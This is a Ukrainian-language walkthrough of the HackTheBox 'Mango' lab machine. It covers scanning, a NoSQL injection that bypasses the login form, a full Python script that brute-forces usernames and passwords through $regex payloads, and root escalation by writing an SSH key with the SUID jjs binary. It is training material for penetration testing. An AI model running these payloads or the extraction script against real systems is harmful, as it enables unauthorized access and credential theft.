18. HackTheBox. Level Medium: Проходження Mango. NoSQL ін’єкції та LPE через JJS

18 грудня 2024 3 хвилин Автор: Lady Liberty

Як виявити та використовувати вразливості NoSQL? Ця стаття детально розповідає про процес тестування проникнення, заснований на реальному завданні «Mango» з платформи HackTheBox. Ви дізнаєтеся, як використовувати сканери портів, такі як masscan та nmap, як знайти слабкі місця у формах авторизації та використати NoSQL-ін’єкції для отримання доступу до системи.

Як зламати NoSQL

У статті розглядається експлуатація NoSQL-ін’єкції у формі авторизації та підвищення привілеїв за допомогою JJS.

Підключення до лабораторії здійснюється через VPN. Для безпеки рекомендується використовувати окремий комп’ютер або середовище, що не містить важливих даних, оскільки підключення відбувається до приватної мережі, де перебувають досвідчені фахівці у сфері інформаційної безпеки.

Recon

Ця машина має IP адресу 10.10.10.162, яку додаємо в /etc/hosts.

10.10.10.162    mango.htb
Спочатку проводиться сканування відкритих портів. Щоб пришвидшити процес, замість nmap використовується masscan для первинного аналізу. Скануються всі TCP та UDP порти через інтерфейс tun0 зі швидкістю 1000 пакетів на секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.162  --rate=1000

Для отримання більш детальної інформації про послуги, що працюють на портах, запустимо сканування з опцією -А.

nmap -A mango.htb -p22,80,443

Спочатку проводиться перевірка веб-сайту. При зверненні до mango.htb відбувається перенаправлення з HTTP на HTTPS, де виникає попередження про проблему із сертифікатом. Погодившись на ризики, стає можливим перегляд вмісту сторінки.

Однак, більше нічого цікавого на сайті не виявлено. У результатах сканування nmap знаходиться інформація про ssl-cert, де вказано домен. Для подальшої роботи додаємо цей домен до файлу /etc/hosts.

10.10.10.162 staging-order.mango.htb

І зайдемо глянути, що там.

Тут є форма авторизації – можлива точка входу.

Entry Point

Пробуємо кілька технік ін’єкцій для обходу авторизації та виявляємо стандартну NoSQL ін’єкцію. Для цього порівнюємо реакцію системи на дві умови: “логін дорівнює 123, пароль дорівнює 123” і “логін не дорівнює 123, пароль не дорівнює 123”. Це дозволяє виявити уразливість, яку можна експлуатувати для отримання доступу.

Після отримання успішного істинного результату для другої умови, відбувається перенаправлення на сторінку home.php, що підтверджує успішне виконання NoSQL ін’єкції.

Оскільки на сторінці немає нічого цікавого, єдине, що можна отримати з цієї вразливості — це логіни та паролі.

USER

Для визначення максимальної довжини логінів та паролів можна використати наступні конструкції:

  • Для логіну: login[$regex]=.{length}&password[$ne]=123, що дозволяє виконати порівняння за регулярним виразом для логіну, одночасно перевіряючи, що пароль неправильний.

  • Для пароля: login[$ne]=123; password[$regex]=.{length}, що дозволяє перевірити максимальну довжину пароля, за умови, що логін неправильний.

Ці запити можна автоматизувати за допомогою Burp Intruder, щоб швидко протестувати різні варіанти довжин та отримати потрібну інформацію.

Таким чином, максимальна довжина логіну становить 5 символів. Проробивши ті ж операції для пароля, визначаємо, що максимальна довжина пароля – 16 символів.

Оскільки вручну перебирати варіанти надто довго, можна створити скрипт на Python для автоматизації цього процесу. Спочатку налаштуємо сесію для роботи з веб-запитами.

import string
import requests

alfa = string.printable 
URL = 'http://staging-order.mango.htb'

r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}

logins = []

Далі реалізується функція для перебору логінів. Перебір буде здійснюватися за допомогою регулярного виразу ^name.*, що дозволяє витягувати по одному символу.

def logins_find(login):
    is_find = False
    for char in alfa[:62]:
        data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
        resp = r.post(URL, data=data)
        print('login: %s ' % (login+char), end='\r') 
        if len(resp.history):
            is_find = True
            logins_find(login+char)
    if not is_find:
        print('login found: %s ' % (login))
        logins.append(login)

І подібна функція лише з використанням знайденого логіну.

def passwords_find(login, password):
    is_find = False
    for char in alfa:
        if char in ['*','+','.','?','|', '#', '&', '$', '\\']:
            char = '\\' + char
        data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
        resp = r.post(URL, data=data)
        print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')
        if len(resp.history):
            is_find = True
            passwords_find(login, password+char)
    if not is_find:
        print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))

Ось повний код для перебору логінів за допомогою регулярного виразу ^name.*:

#!/usr/bin/python3

import string
import requests

alfa = string.printable[:-6]
URL = 'http://staging-order.mango.htb'

r = requests.session()
ans = r.get(URL)
r.headers = {"Content-Type":"application/x-www-form-urlencoded"}

logins = []

def logins_find(login):
    is_find = False
    for char in alfa[:62]:
        data = "username[$regex]=^%s%s.*&password[$ne]=123&login=login" % (login, char)
        resp = r.post(URL, data=data)
        print('login: %s ' % (login+char), end='\r') 
        if len(resp.history):
            is_find = True
            logins_find(login+char)
    if not is_find:
        print('login found: %s ' % (login))
        logins.append(login)

def passwords_find(login, password):
    is_find = False
    for char in alfa:
        if char in ['*','+','.','?','|', '#', '&', '$', '\\']:
            char = '\\' + char
        data = "username=%s&password[$regex]=^%s%s.*&login=login" % (login, password, char)
        resp = r.post(URL, data=data)
        print("password for %s: %s " % (login, (password+char).replace('\\', '')), end = '\r')
        if len(resp.history):
            is_find = True
            passwords_find(login, password+char)
    if not is_find:
        print("[+] password for %s: %s " % (login, (password+char).replace('\\', '')))
   
print("SEARCH logins:") 
logins_find("")

print("\nSEARCH passwords:") 
[ passwords_find(login, "") for login in logins ]

І, як наслідок, знаходимо облікові дані двох користувачів.

З обліковими даними успішно підключаємося SSH.

Є пароль від другого користувача, але він не дозволяє залогінитись через SSH. Спробуємо змінити користувача локально, використовуючи відомий пароль.

ROOT

Проведемо базове перерахування за допомогою скрипта LinEnum.

Знаходимо програму з виставленим S-бітом.

Перевіряємо JJS на приклад GTFOBins.

Також є приклади експлуатації. Викликати локальний шелл не вдалося, але можна згенерувати SSH ключі, записати публічний ключ в /root/.ssh/authorized_keys і підключитися за допомогою приватного ключа.

Давайте вважаємо публічний ключ.

Запишемо його.

І тепер підключимося як root.

Висновок

Стаття описує процес експлуатації вразливостей через NoSQL ін’єкцію для обходу авторизації, визначення максимальних довжин логінів і паролів. Для автоматизації перебору використовується Python-скрипт. Після цього, якщо SSH підключення неможливе, генерується пара SSH ключів, і публічний ключ додається до /root/.ssh/authorized_keys для доступу через приватний ключ.

Інші статті по темі
CTF та райтапиОсвітаСамонавчання
Читати далі
3. HackTheBox. Level Easy: Проходження Nest. NTFS потоки, реверс C# та бродилка по SMB
Читач дізнається, як використовувати сучасні інструменти для сканування мережі (nmap, masscan), досліджувати SMB-ресурси, аналізувати приховані дані в альтернативних потоках NTFS і проводити реверс-інжиніринг C#-додатків.
45
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.